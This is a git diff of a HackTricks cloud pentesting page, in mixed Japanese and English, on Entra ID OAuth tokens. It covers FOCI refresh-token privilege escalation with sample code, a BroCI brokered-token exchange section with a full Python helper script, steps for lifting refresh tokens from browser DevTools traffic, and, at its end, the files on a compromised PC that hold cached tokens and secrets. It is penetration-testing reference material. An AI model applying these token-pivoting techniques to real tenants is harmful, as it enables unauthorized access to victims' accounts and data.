mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
@@ -4,95 +4,95 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Entra ID は Microsoft のクラウドベースの identity and access management (IAM) プラットフォームで、Microsoft 365 や Azure Resource Manager のようなサービスの認証と認可の基盤として機能します。Azure AD は OAuth 2.0 認可フレームワークと OpenID Connect (OIDC) 認証プロトコルを実装して、リソースへのアクセスを管理します。
|
||||
Entra ID は Microsoft のクラウドベースの identity and access management (IAM) プラットフォームで、Microsoft 365 や Azure Resource Manager のようなサービス向けの基盤的な認証および認可システムとして機能します。Azure AD は OAuth 2.0 authorization framework と OpenID Connect (OIDC) authentication protocol を実装して、リソースへのアクセスを管理します。
|
||||
|
||||
### OAuth
|
||||
|
||||
OAuth 2.0 の主な参加者:
|
||||
**OAuth 2.0 の主要な関係者:**
|
||||
|
||||
1. **Resource Server (RS):** リソースオーナーが所有するリソースを保護します。
|
||||
2. **Resource Owner (RO):** 通常、保護されたリソースを所有するエンドユーザーです。
|
||||
3. **Client Application (CA):** リソースオーナーに代わってリソースへのアクセスを求めるアプリケーション。
|
||||
4. **Authorization Server (AS):** クライアントアプリを認証・認可した後、アクセス トークンを発行します。
|
||||
1. **Resource Server (RS):** Resource Owner が所有するリソースを保護します。
|
||||
2. **Resource Owner (RO):** 通常は保護されたリソースを所有するエンドユーザーです。
|
||||
3. **Client Application (CA):** Resource Owner に代わってリソースへのアクセスを求めるアプリケーションです。
|
||||
4. **Authorization Server (AS):** クライアントアプリケーションを認証・認可した後、access tokens を発行します。
|
||||
|
||||
**スコープと同意:**
|
||||
**Scopes と Consent:**
|
||||
|
||||
- **Scopes:** リソースサーバー上で定義される細かな権限で、アクセスレベルを指定します。
|
||||
- **Consent:** リソースオーナーが特定のスコープでクライアントアプリにリソースへのアクセス権を付与するプロセス。
|
||||
- **Scopes:** リソースサーバー上で定義される粒度の細かい権限で、アクセスレベルを指定します。
|
||||
- **Consent:** Resource Owner がクライアントアプリケーションに特定のスコープでリソースへアクセスする許可を与えるプロセスです。
|
||||
|
||||
**Microsoft 365 の統合:**
|
||||
|
||||
- Microsoft 365 は IAM に Azure AD を利用しており、複数の「first-party」OAuth アプリケーションで構成されています。
|
||||
- これらのアプリケーションは深く統合されており、サービス間で相互依存関係を持つことが多いです。
|
||||
- ユーザー体験を簡素化し機能性を維持するため、Microsoft はこれらの first-party アプリに対して「implied consent」または「pre-consent」を付与します。
|
||||
- **Implied Consent:** 特定のアプリケーションは**ユーザーや管理者の明示的な承認なしに特定のスコープへのアクセスが自動的に付与されます**。
|
||||
- これらの事前承認されたスコープは通常、ユーザーや管理者の双方から隠されており、標準の管理インターフェースでは見えにくくなっています。
|
||||
- これらのアプリケーションは深く統合されており、相互に依存するサービス関係を持つことが多いです。
|
||||
- ユーザー体験を簡素化し機能性を維持するため、Microsoft はこれらの first-party アプリケーションに対して「暗黙の同意(implied consent)」や「事前同意(pre-consent)」を付与します。
|
||||
- **Implied Consent:** 一部のアプリケーションは自動的に**特定のスコープへのアクセスが明示的なユーザーまたは管理者の承認なしに付与され**ます。
|
||||
- これらの事前同意されたスコープは通常、ユーザーや管理者の両方から隠されており、標準的な管理インターフェースでは見えにくくなっています。
|
||||
|
||||
**クライアントアプリケーションの種類:**
|
||||
**Client Application の種類:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- 独自の資格情報(例: パスワードや証明書)を持ちます。
|
||||
- Authorization Server に対して**安全に自身を認証できる**。
|
||||
- 自身のクレデンシャル(パスワードや証明書など)を持ちます。
|
||||
- Authorization Server に対して**安全に自身を認証**できます。
|
||||
2. **Public Clients:**
|
||||
- 固有の資格情報を持ちません。
|
||||
- 固有のクレデンシャルを持ちません。
|
||||
- Authorization Server に対して安全に認証することができません。
|
||||
- **Security Implication:** Authorization Server がアプリの正当性を検証する仕組みがないため、トークン取得時に攻撃者が public client アプリを偽装できる可能性があります。
|
||||
- **セキュリティ上の影響:** Authorization Server にアプリケーションの正当性を検証する仕組みがないため、攻撃者はトークンを要求する際に public client アプリケーションを偽装することができます。
|
||||
|
||||
## 認証トークン
|
||||
|
||||
OIDC で使用される**3種類のトークン**があります:
|
||||
OIDC で使用されるトークンは**3種類**あります:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースにアクセス**します。これは特定のユーザー、クライアント、リソースの組み合わせでのみ使用可能で、期限切れまで**取り消すことはできません(デフォルトで1時間)**。
|
||||
- **ID Tokens**: クライアントはこの**トークンを authorization server から受け取ります**。ユーザーに関する基本情報を含みます。特定のユーザーとクライアントの組み合わせに**紐づいています**。
|
||||
- **Refresh Tokens**: アクセストークンとともにクライアントに提供されます。新しいアクセスおよび ID トークンを取得するために使用されます。特定のユーザーとクライアントの組み合わせに紐づき、取り消すことができます。非アクティブな refresh token のデフォルト有効期限は **90 days** で、アクティブなトークンには**有効期限がありません**(リフレッシュトークンから新しいリフレッシュトークンを取得することが可能なため)。
|
||||
- リフレッシュトークンは **`aud`**、いくつかの **scopes**、および **tenant** に紐づくべきであり、その aud、scopes(それ以上ではない)およびテナントのためのアクセストークンのみを生成できるべきです。しかし、これは **FOCI applications tokens** では当てはまりません。
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースへアクセス**します。特定のユーザー、クライアント、およびリソースの組み合わせにのみ使用でき、期限切れになるまで**取り消すことはできません** — デフォルトでは 1 時間です。
|
||||
- **ID Tokens**: クライアントは Authorization Server からこの**トークンを受け取ります**。ユーザーに関する基本情報を含んでいます。**特定のユーザーとクライアントの組み合わせに紐づいて**います。
|
||||
- **Refresh Tokens**: access token と共にクライアントに提供されます。新しい access と ID トークンを取得するために使用されます。特定のユーザーとクライアントの組み合わせに紐づき、取り消し可能です。デフォルトの失効期間は非アクティブな refresh token が **90 日**、アクティブなトークンには **有効期限なし**(refresh token からさらに新しい refresh token を取得することが可能)です。
|
||||
- リフレッシュトークンは `aud`、いくつかの **scopes**、および **テナント** に紐づくべきであり、その aud、scopes(およびそれ以上ではない)とテナントに対してのみ access token を生成できるべきです。しかし、これは **FOCI applications tokens** には当てはまりません。
|
||||
- リフレッシュトークンは暗号化されており、復号できるのは Microsoft のみです。
|
||||
- 新しいリフレッシュトークンを取得しても、以前のリフレッシュトークンは取り消されません。
|
||||
- 新しいリフレッシュトークンを取得しても前のリフレッシュトークンが取り消されることはありません。
|
||||
|
||||
> [!WARNING]
|
||||
> **条件付きアクセス** に関する情報は **JWT** の内部に**格納**されます。したがって、**許可された IP アドレスからトークンを要求すると**、その **IP** はトークンに**格納**され、後で**許可されていない IP からそのトークンを使ってリソースにアクセスできる**ようになります。
|
||||
> conditional access に関する情報は **JWT 内に保存**されます。したがって、もし **許可された IP アドレスからトークンを要求**した場合、その **IP** がトークン内に**保存**され、後でそのトークンを使用して **許可されていない IP からでもリソースにアクセス**できる可能性があります。
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
"aud" フィールドに示される値は、ログインを実行するために使用される**resource server**(アプリケーション)です。
|
||||
"aud" フィールドに示される値は、ログインを行うために使用される **リソースサーバー**(アプリケーション)です。
|
||||
|
||||
コマンド `az account get-access-token --resource-type [...]` は次のタイプをサポートしており、それぞれが結果のアクセス トークンに特定の "aud" を追加します:
|
||||
コマンド `az account get-access-token --resource-type [...]` は以下のタイプをサポートしており、それぞれ結果の access token に特定の "aud" を追加します:
|
||||
|
||||
> [!CAUTION]
|
||||
> 次に示すのは `az account get-access-token` がサポートする API の例に過ぎず、他にもあります。
|
||||
> 次に示すものは `az account get-access-token` がサポートする API の例にすぎず、他にも存在します。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud examples</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: レガシーな Azure AD Graph API(非推奨)にアクセスするために使用され、アプリケーションが Azure Active Directory (Azure AD) のディレクトリデータを読み書きできるようにします。
|
||||
- **aad-graph (Azure Active Directory Graph API)**: レガシーの Azure AD Graph API(非推奨)へアクセスするために使用され、アプリケーションが Azure Active Directory (Azure AD) 内のディレクトリデータを読み書きすることを可能にします。
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Azure Resource Manager API を通じて Azure リソースを管理するために使用されます。これには仮想マシン、ストレージアカウントなどのリソースの作成、更新、削除といった操作が含まれます。
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: 大規模並列処理や高性能コンピューティングアプリケーションをクラウド上で効率的に実行するための Azure Batch にアクセスするために使用されます。
|
||||
- **batch (Azure Batch Services)**: 大規模並列処理や高性能コンピューティングアプリケーションをクラウドで効率的に実行するための Azure Batch にアクセスするために使用されます。
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 と対話するために使用される、スケーラブルなデータストレージおよび分析サービスです。
|
||||
* **data-lake (Azure Data Lake Storage)**: スケーラブルなデータストレージおよび分析サービスである Azure Data Lake Storage Gen1 と対話するために使用されます。
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: ビデオやオーディオコンテンツのクラウドベースのメディア処理および配信サービスである Azure Media Services にアクセスするために使用されます。
|
||||
- **media (Azure Media Services)**: 動画や音声コンテンツのクラウドベースのメディア処理と配信を提供する Azure Media Services にアクセスするために使用されます。
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Microsoft 365 サービスのデータに対する統一エンドポイントである Microsoft Graph API にアクセスするために使用されます。これにより、Azure AD、Office 365、Enterprise Mobility、Security services などのサービスからデータやインサイトにアクセスできます。
|
||||
* **ms-graph (Microsoft Graph API)**: Microsoft 365 サービスのデータに対する統一エンドポイントである Microsoft Graph API にアクセスするために使用されます。Azure AD、Office 365、Enterprise Mobility、Security services などのサービスからデータやインサイトにアクセスできます。
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL、PostgreSQL、MariaDB のようなオープンソースのリレーショナルデータベースエンジン向けの Azure Database サービスにアクセスするために使用されます。
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL、PostgreSQL、MariaDB といったオープンソースのリレーショナルデータベースエンジン向けの Azure Database サービスへアクセスするために使用されます。
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
アクセス トークンのスコープは、アクセス トークンの JWT 内の scp キーに格納されます。これらのスコープが、アクセス トークンが何にアクセスできるかを定義します。
|
||||
access token のスコープは access token JWT の scp キーの中に格納されます。これらのスコープは access token が何にアクセスできるかを定義します。
|
||||
|
||||
JWT が特定の API にアクセスすることが許可されていても、要求されたアクションを実行するための**スコープを持っていない**場合、その JWT ではそのアクションを**実行できません**。
|
||||
もし JWT が特定の API に接触することを許可されていても、要求された操作を実行するためのスコープを**持っていない**場合、その JWT ではその操作を**実行できません**。
|
||||
|
||||
### Get refresh & access token example
|
||||
```python
|
||||
@@ -147,28 +147,29 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
### その他の access token フィールド
|
||||
|
||||
- **appid**: トークンを生成するために使用された Application ID
|
||||
- **appidacr**: The Application Authentication Context Class Reference はクライアントがどのように認証されたかを示す。public client の場合値は 0、client secret が使われた場合は 1
|
||||
- **acr**: The Authentication Context Class Reference クレームは、エンドユーザーの認証が ISO/IEC 29115 の要件を満たしていない場合 "0" になる。
|
||||
- **amr**: The Authentication method はトークンがどのように認証されたかを示す。値が “pwd” の場合はパスワードが使用されたことを示す。
|
||||
- **groups**: プリンシパルがメンバーであるグループを示す。
|
||||
- **iss**: トークンを生成したセキュリティトークンサービス (STS) を識別する。例: https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (uuid は tenant ID)
|
||||
- **oid**: プリンシパルの object ID
|
||||
- **appidacr**: Application Authentication Context Class Reference はクライアントがどのように認証されたかを示す。public client の場合は値が 0、client secret が使用された場合は値が 1 になる
|
||||
- **acr**: Authentication Context Class Reference claim は、エンドユーザーの認証が ISO/IEC 29115 の要件を満たさなかったときに "0" になる
|
||||
- **amr**: Authentication method はトークンがどのように認証されたかを示す。値が “pwd” の場合はパスワードが使われたことを示す
|
||||
- **groups**: principal がメンバーであるグループを示す
|
||||
- **iss**: トークンを生成した security token service (STS) を識別する。e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
|
||||
- **oid**: principal の object ID
|
||||
- **tid**: Tenant ID
|
||||
- **iat, nbf, exp**: Issued at(発行時刻)、Not before(この時刻以前は使用できない、通常 iat と同じ値)、Expiration time(有効期限)。
|
||||
- **iat, nbf, exp**: Issued at (when it was issued), Not before (cannot be used before this time, usually same value as iat), Expiration time.
|
||||
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
以前に述べたように、refresh tokens は生成された **scopes**、生成先の **application**、および生成先の **tenant** に紐付けられるべきである。これらの境界のいずれかが破られると、ユーザーがアクセスできる他のリソースやテナント向けの access tokens を、元々意図されていたより多くの scopes で生成できるようになり、escalate privileges が可能になる。
|
||||
前述のとおり、refresh tokens は生成時に指定された **scopes**、生成先の **application**、および **tenant** に紐付けられるべきだ。これらの境界のいずれかが破られると、ユーザーがアクセス権を持つ他のリソースや別の tenants に対して、本来意図された以上の scopes を持つ access tokens を生成できるようになり、権限を昇格させることが可能になる。
|
||||
|
||||
さらに、[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entra アカウント、Microsoft personal アカウント、および Facebook や Google のような social accounts を含む)では、[**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) に記載されているとおり、**this is possible with all refresh tokens**: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
さらに、[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entra accounts、Microsoft personal accounts、そして social accounts like Facebook and Google)では、[**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) にあるとおり、**this is possible with all refresh tokens**: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
|
||||
また、FOCI アプリケーションは public applications であるため、サーバーに対して認証するのに **no secret is needed** である点にも注意すること。
|
||||
また、FOCI applications は public applications であるため、サーバーに認証するのに **no secret is needed** である点に注意する。
|
||||
|
||||
既知の FOCI クライアントは [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) に報告されており、[**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) で確認できる。
|
||||
既知の FOCI clients は [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) に報告されており、[**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) で確認できる。
|
||||
|
||||
### 異なる scope を取得
|
||||
### Get different scope
|
||||
|
||||
前のサンプルコードの続きで、このコードでは異なる scope のための新しいトークンが要求されている:
|
||||
前のサンプルコードに続いて、このコードでは別の scope のための新しいトークンを要求している:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -201,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## tokens を見つける場所
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
攻撃者の観点では、被害者のPCが侵害された場合にどこで access and refresh tokens を見つけられるかを知ることは非常に重要です:
|
||||
A BroCI refresh token は、既存の refresh token を追加の broker パラメータとともに使い、別の信頼された first-party app としてトークンを要求する brokered token exchange のパターンです。
|
||||
|
||||
- **`<HOME>/.Azure`** の中
|
||||
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
|
||||
|
||||
### Goal and purpose
|
||||
|
||||
BroCI の目的は、broker 対応の app チェーンから有効なユーザーセッションを再利用して、別の信頼された app/resource ペア用のトークンを要求することです。これにより、元のトークンからの「特権昇格」を可能にします。
|
||||
|
||||
From an offensive perspective, this matters because:
|
||||
|
||||
- It can unlock pre-consented first-party app paths that are not accessible with standard refresh exchanges.
|
||||
- It can return access tokens for high-value APIs (for example, Microsoft Graph) under app identities with broad delegated permissions.
|
||||
- It expands post-authentication token pivoting opportunities beyond classic FOCI client switching.
|
||||
|
||||
What changes in a NAA/BroCI refresh token is not the visible token format, but the **issuance context** and broker-related metadata that Microsoft validates during brokered refresh operations.
|
||||
|
||||
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
|
||||
|
||||
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
|
||||
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
|
||||
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
|
||||
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
|
||||
- You need a refresh token already issued by a compatible brokered flow.
|
||||
|
||||
Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
|
||||
|
||||
|
||||
### Mental model
|
||||
|
||||
Think of BroCI as:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
If any part of that broker chain does not match, the exchange fails.
|
||||
|
||||
### Where to find a BroCI-valid refresh token
|
||||
|
||||
One practical way is browser portal traffic collection:
|
||||
|
||||
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
|
||||
2. Open DevTools -> Network.
|
||||
3. Filter for:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Identify the brokered token response and copy `refresh_token`.
|
||||
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
|
||||
|
||||
### Common errors
|
||||
|
||||
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
|
||||
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
|
||||
|
||||
<details>
|
||||
<summary>Python 用 BroCI refresh ヘルパー (broci_auth.py)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
</details>
|
||||
|
||||
## tokens の見つけ方
|
||||
|
||||
攻撃者の観点から、被害者のPCが侵害された場合などに access and refresh tokens をどこで見つけられるかを知ることは非常に有用です:
|
||||
|
||||
- Inside **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** は過去にログインしたユーザーの情報を含む
|
||||
- **`clouds.config contains`** はサブスクリプションに関する情報
|
||||
- **`service_principal_entries.json`** はアプリケーションの認証情報(tenant id、clients、secret)を含む。Linux & macOS のみ
|
||||
- **`msal_token_cache.json`** は access tokens と refresh tokens を含む。Linux & macOS のみ
|
||||
- **`service_principal_entries.bin`** と msal_token_cache.bin は Windows で使用され、DPAPI で暗号化されている
|
||||
- **`clouds.config`** はサブスクリプションに関する情報を含む
|
||||
- **`service_principal_entries.json`** はアプリケーションの資格情報 (tenant id, clients and secret) を含む。Linux & macOS のみ
|
||||
